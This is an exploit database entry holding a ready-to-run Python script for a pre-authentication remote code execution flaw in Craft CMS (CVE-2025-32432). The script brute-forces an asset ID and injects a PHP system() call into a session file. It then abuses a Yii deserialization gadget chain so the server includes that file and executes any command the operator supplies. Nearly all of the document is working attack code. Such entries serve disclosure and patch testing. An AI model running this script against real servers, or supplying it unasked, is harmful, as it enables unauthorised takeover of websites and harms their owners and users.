Craft CMS 5.6.16 - RCE

EDB-ID:

52525


Author:

banyamer

Type:

webapps


Platform:

Multiple

Date:

2026-04-29


# Exploit Title: Craft CMS 5.6.16 - RCE
# Google Dork: N/A
# Date: 2026-01-24
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Vendor Homepage: https://craftcms.com
# Software Link: https://github.com/craftcms/cms
# Version: <= 3.9.14, <= 4.14.14, <= 5.6.16
# Tested on: Linux, Apache/Nginx, PHP 8.x
# CVE: CVE-2025-32432
#
# Description:
# Craft CMS contains a pre-authentication remote code execution vulnerability
# in the assets/generate-transform endpoint. By abusing a Yii deserialization
# gadget chain (FieldLayoutBehavior → PhpManager) and poisoning a PHP session
# file, an unauthenticated attacker can achieve arbitrary command execution.
#

import requests
import argparse
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def find_asset_id(base_url, max_attempts=300):
    """
    Brute-force search for a valid Asset ID.
    This is optional and may be unreliable on some installations.
    """
    session = requests.Session()
    session.verify = False

    print("[*] Brute-forcing Asset ID (best-effort)...")

    for asset_id in range(1, max_attempts + 1):
        url = f"{base_url}/actions/assets/generate-transform"
        payload = {
            "assetId": asset_id,
            "handle": {
                "width": 1,
                "height": 1,
                "as hack": {
                    "class": "craft\\behaviors\\FieldLayoutBehavior",
                    "__class": "yii\\rbac\\PhpManager",
                    "__construct()": [
                        {
                            "itemFile": "invalid"
                        }
                    ]
                }
            }
        }

        try:
            r = session.post(url, json=payload, timeout=5)
            if r.status_code != 404:
                print(f"[+] Potential valid Asset ID found: {asset_id} (HTTP {r.status_code})")
                return asset_id
        except:
            continue

    print(f"[-] No valid Asset ID found after {max_attempts} attempts.")
    return None


def implant_php(base_url, cmd):
    """
    Step 1: Poison the PHP session file with injected PHP code.
    This relies on old-style behavior where query parameters are written
    into the session file without sanitization.
    """

    injection = f"<?php system('{cmd}'); ?>"
    url = f"{base_url}/index.php?p=admin/dashboard&a={injection}"

    try:
        r = requests.get(url, verify=False, timeout=10)
        if r.status_code == 200:
            print(f"[+] Session poisoning request sent successfully")
            return True
        else:
            print(f"[-] Injection failed (HTTP {r.status_code})")
            return False
    except Exception as e:
        print(f"[-] Injection error: {e}")
        return False


def execute_command(base_url, asset_id, session_id):
    """
    Step 2: Trigger deserialization and force PhpManager to include
    the poisoned session file from /tmp/sess_<PHPSESSID>.
    """

    url = f"{base_url}/actions/assets/generate-transform"

    payload = {
        "assetId": asset_id,
        "handle": {
            "width": 1,
            "height": 1,
            "as hack": {
                "class": "craft\\behaviors\\FieldLayoutBehavior",
                "__class": "yii\\rbac\\PhpManager",
                "__construct()": [
                    {
                        "itemFile": f"/tmp/sess_{session_id}"
                    }
                ]
            }
        }
    }

    try:
        r = requests.post(url, json=payload, verify=False, timeout=15)
        return r.text
    except Exception as e:
        return f"[-] Execution request failed: {e}"


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-32432 - Craft CMS Pre-Auth Remote Code Execution"
    )
    parser.add_argument("-u", "--url", required=True,
                        help="Target base URL (e.g. https://victim.com)")
    parser.add_argument("-c", "--cmd", required=True,
                        help="Command to execute (e.g. id, whoami)")
    parser.add_argument("-a", "--asset", type=int,
                        help="Known valid Asset ID (recommended)")
    parser.add_argument("-s", "--scan-max", type=int, default=300,
                        help="Max Asset ID brute-force range (optional)")

    args = parser.parse_args()

    base_url = args.url.rstrip('/')
    session = requests.Session()
    session.verify = False

    # Step 0: Obtain PHP session ID
    try:
        r = session.get(f"{base_url}/index.php", verify=False, timeout=10)
        session_id = session.cookies.get("PHPSESSID", None)

        if not session_id:
            print("[-] Failed to obtain PHPSESSID")
            return

        print(f"[+] Obtained PHPSESSID: {session_id}")

    except Exception as e:
        print(f"[-] Failed to establish session: {e}")
        return

    # Determine Asset ID
    asset_id = args.asset
    if not asset_id:
        asset_id = find_asset_id(base_url, args.scan_max)
        if not asset_id:
            print("[-] Exploitation aborted: no valid Asset ID found")
            return

    print(f"[+] Using Asset ID: {asset_id}")

    # Step 1: Poison session file
    if not implant_php(base_url, args.cmd):
        print("[-] Session poisoning failed")
        return

    print("[*] Waiting for session file to be written...")
    time.sleep(2)

    # Step 2: Trigger RCE
    print(f"[*] Triggering command execution: {args.cmd}")
    output = execute_command(base_url, asset_id, session_id)

    # Output handling
    print("\n[+] Server response:")
    print(output[:2000])


if __name__ == "__main__":
    print("=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===")
    main()